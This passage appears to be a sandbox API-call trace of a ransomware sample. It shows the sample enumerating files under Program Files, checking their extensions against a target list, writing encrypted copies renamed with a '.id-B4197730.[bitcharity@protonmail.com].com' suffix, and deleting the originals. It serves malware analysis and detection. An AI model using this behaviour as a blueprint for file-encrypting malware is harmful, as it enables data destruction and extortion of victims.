(hObject=0x1094) returned 1 [0294.737] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.737] SetEndOfFile (hFile=0x1088) returned 1 [0294.740] CloseHandle (hObject=0x1088) returned 1 [0294.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0294.740] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1 [0294.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.741] lstrlenW (lpString=".doc") returned 4 [0294.741] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0294.741] lstrlenW (lpString=".docx") returned 5 [0294.741] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0294.741] lstrlenW (lpString=".pdf") returned 4 [0294.741] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0294.741] lstrlenW (lpString=".xls") returned 4 [0294.741] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0294.741] lstrlenW (lpString=".xlsx") returned 5 [0294.741] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0294.741] lstrlenW (lpString=".ppt") returned 4 [0294.741] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0294.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.741] lstrlenW (lpString=".zip") returned 4 [0294.741] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0294.741] lstrlenW (lpString=".rar") returned 4 [0294.741] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0294.741] lstrlenW (lpString=".bz2") returned 4 [0294.741] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0294.741] lstrlenW (lpString=".7z") returned 3 [0294.741] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0294.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.741] lstrlenW (lpString=".dbf") returned 4 [0294.741] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.742] lstrlenW (lpString=".1cd") returned 4 [0294.742] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.742] lstrlenW (lpString=".jpg") returned 4 [0294.742] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.742] lstrlenW (lpString=".doc") returned 4 [0294.742] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0294.742] lstrlenW (lpString=".docx") returned 5 [0294.742] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0294.742] lstrlenW (lpString=".pdf") returned 4 [0294.742] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0294.742] lstrlenW (lpString=".xls") returned 4 [0294.742] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0294.742] lstrlenW (lpString=".xlsx") returned 5 [0294.742] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0294.742] lstrlenW (lpString=".ppt") returned 4 [0294.742] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.742] lstrlenW (lpString=".zip") returned 4 [0294.742] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0294.742] lstrlenW (lpString=".rar") returned 4 [0294.742] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0294.742] lstrlenW (lpString=".bz2") returned 4 [0294.742] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0294.742] lstrlenW (lpString=".7z") returned 3 [0294.742] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.742] lstrlenW (lpString=".dbf") returned 4 [0294.742] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.742] lstrlenW (lpString=".1cd") returned 4 [0294.742] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0294.743] lstrlenW (lpString=".jpg") returned 4 [0294.743] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0294.743] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0294.743] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24 [0294.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0294.743] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=18624) returned 1 [0294.743] CloseHandle (hObject=0x1088) returned 1 [0294.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0294.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0294.744] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.744] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0294.744] GetLastError () returned 0x0 [0294.744] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x48c0, lpOverlapped=0x0) returned 1 [0295.175] WriteFile (in: hFile=0x1094, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x48d0, lpOverlapped=0x0) returned 1 [0295.176] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.176] WriteFile (in: hFile=0x1094, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x104, lpOverlapped=0x0) returned 1 [0295.176] SetEndOfFile (hFile=0x1094) returned 1 [0295.177] CloseHandle (hObject=0x1094) returned 1 [0295.177] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.177] SetEndOfFile (hFile=0x1088) returned 1 [0295.177] CloseHandle (hObject=0x1088) returned 1 [0295.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0295.178] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0295.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.180] lstrlenW (lpString=".doc") returned 4 [0295.180] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.180] lstrlenW (lpString=".docx") returned 5 [0295.180] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0295.180] lstrlenW (lpString=".pdf") returned 4 [0295.180] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.180] lstrlenW (lpString=".xls") returned 4 [0295.180] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.180] lstrlenW (lpString=".xlsx") returned 5 [0295.180] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0295.180] lstrlenW (lpString=".ppt") returned 4 [0295.180] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.180] lstrlenW (lpString=".zip") returned 4 [0295.180] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.180] lstrlenW (lpString=".rar") returned 4 [0295.180] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.181] lstrlenW (lpString=".bz2") returned 4 [0295.181] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.181] lstrlenW (lpString=".7z") returned 3 [0295.181] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.181] lstrlenW (lpString=".dbf") returned 4 [0295.181] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.181] lstrlenW (lpString=".1cd") returned 4 [0295.181] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.181] lstrlenW (lpString=".jpg") returned 4 [0295.181] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.181] lstrlenW (lpString=".doc") returned 4 [0295.181] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.181] lstrlenW (lpString=".docx") returned 5 [0295.181] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0295.181] lstrlenW (lpString=".pdf") returned 4 [0295.181] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.181] lstrlenW (lpString=".xls") returned 4 [0295.181] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.181] lstrlenW (lpString=".xlsx") returned 5 [0295.181] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0295.181] lstrlenW (lpString=".ppt") returned 4 [0295.181] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.181] lstrlenW (lpString=".zip") returned 4 [0295.181] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.181] lstrlenW (lpString=".rar") returned 4 [0295.181] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.181] lstrlenW (lpString=".bz2") returned 4 [0295.181] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.181] lstrlenW (lpString=".7z") returned 3 [0295.181] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.181] lstrlenW (lpString=".dbf") returned 4 [0295.181] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.182] lstrlenW (lpString=".1cd") returned 4 [0295.182] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0295.182] lstrlenW (lpString=".jpg") returned 4 [0295.182] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.182] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0295.182] lstrlenW (lpString="msdia90.dll") returned 11 [0295.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0295.182] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=855376) returned 1 [0295.182] CloseHandle (hObject=0x1088) returned 1 [0295.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0295.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0295.183] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.183] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0295.312] GetLastError () returned 0x0 [0295.312] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0xd0d50, lpOverlapped=0x0) returned 1 [0296.226] WriteFile (in: hFile=0x1094, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xd0d60, lpOverlapped=0x0) returned 1 [0296.245] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.245] WriteFile (in: hFile=0x1094, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xea, lpOverlapped=0x0) returned 1 [0296.245] SetEndOfFile (hFile=0x1094) returned 1 [0296.245] CloseHandle (hObject=0x1094) returned 1 [0296.245] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.245] SetEndOfFile (hFile=0x1088) returned 1 [0296.412] CloseHandle (hObject=0x1088) returned 1 [0296.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.412] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1 [0296.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.412] lstrlenW (lpString=".doc") returned 4 [0296.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.412] lstrlenW (lpString=".docx") returned 5 [0296.412] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0296.412] lstrlenW (lpString=".pdf") returned 4 [0296.412] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.412] lstrlenW (lpString=".xls") returned 4 [0296.412] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.413] lstrlenW (lpString=".xlsx") returned 5 [0296.413] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0296.413] lstrlenW (lpString=".ppt") returned 4 [0296.413] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.413] lstrlenW (lpString=".zip") returned 4 [0296.413] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.413] lstrlenW (lpString=".rar") returned 4 [0296.413] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.413] lstrlenW (lpString=".bz2") returned 4 [0296.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.413] lstrlenW (lpString=".7z") returned 3 [0296.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.413] lstrlenW (lpString=".dbf") returned 4 [0296.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.413] lstrlenW (lpString=".1cd") returned 4 [0296.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.413] lstrlenW (lpString=".jpg") returned 4 [0296.413] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.413] lstrlenW (lpString=".doc") returned 4 [0296.413] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.413] lstrlenW (lpString=".docx") returned 5 [0296.414] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0296.414] lstrlenW (lpString=".pdf") returned 4 [0296.414] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.414] lstrlenW (lpString=".xls") returned 4 [0296.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.414] lstrlenW (lpString=".xlsx") returned 5 [0296.414] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0296.414] lstrlenW (lpString=".ppt") returned 4 [0296.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.414] lstrlenW (lpString=".zip") returned 4 [0296.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.414] lstrlenW (lpString=".rar") returned 4 [0296.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.414] lstrlenW (lpString=".bz2") returned 4 [0296.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.414] lstrlenW (lpString=".7z") returned 3 [0296.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.414] lstrlenW (lpString=".dbf") returned 4 [0296.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.414] lstrlenW (lpString=".1cd") returned 4 [0296.414] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0296.414] lstrlenW (lpString=".jpg") returned 4 [0296.414] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.415] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0296.415] lstrlenW (lpString="msader15.dll.mui") returned 16 [0296.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0296.415] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=17920) returned 1 [0296.415] CloseHandle (hObject=0x1088) returned 1 [0296.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0296.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.415] lstrlenW (lpString=".doc") returned 4 [0296.416] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.416] lstrlenW (lpString=".docx") returned 5 [0296.416] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.416] lstrlenW (lpString=".pdf") returned 4 [0296.416] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.416] lstrlenW (lpString=".xls") returned 4 [0296.416] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.416] lstrlenW (lpString=".xlsx") returned 5 [0296.416] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.416] lstrlenW (lpString=".ppt") returned 4 [0296.416] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.416] lstrlenW (lpString=".zip") returned 4 [0296.416] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.416] lstrlenW (lpString=".rar") returned 4 [0296.416] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.416] lstrlenW (lpString=".bz2") returned 4 [0296.416] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.416] lstrlenW (lpString=".7z") returned 3 [0296.416] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.416] lstrlenW (lpString=".dbf") returned 4 [0296.416] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.416] lstrlenW (lpString=".1cd") returned 4 [0296.416] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.416] lstrlenW (lpString=".jpg") returned 4 [0296.416] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.416] lstrlenW (lpString=".doc") returned 4 [0296.417] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.417] lstrlenW (lpString=".docx") returned 5 [0296.417] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.417] lstrlenW (lpString=".pdf") returned 4 [0296.417] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.417] lstrlenW (lpString=".xls") returned 4 [0296.417] lstrcmpiW (lpString1=".xls", 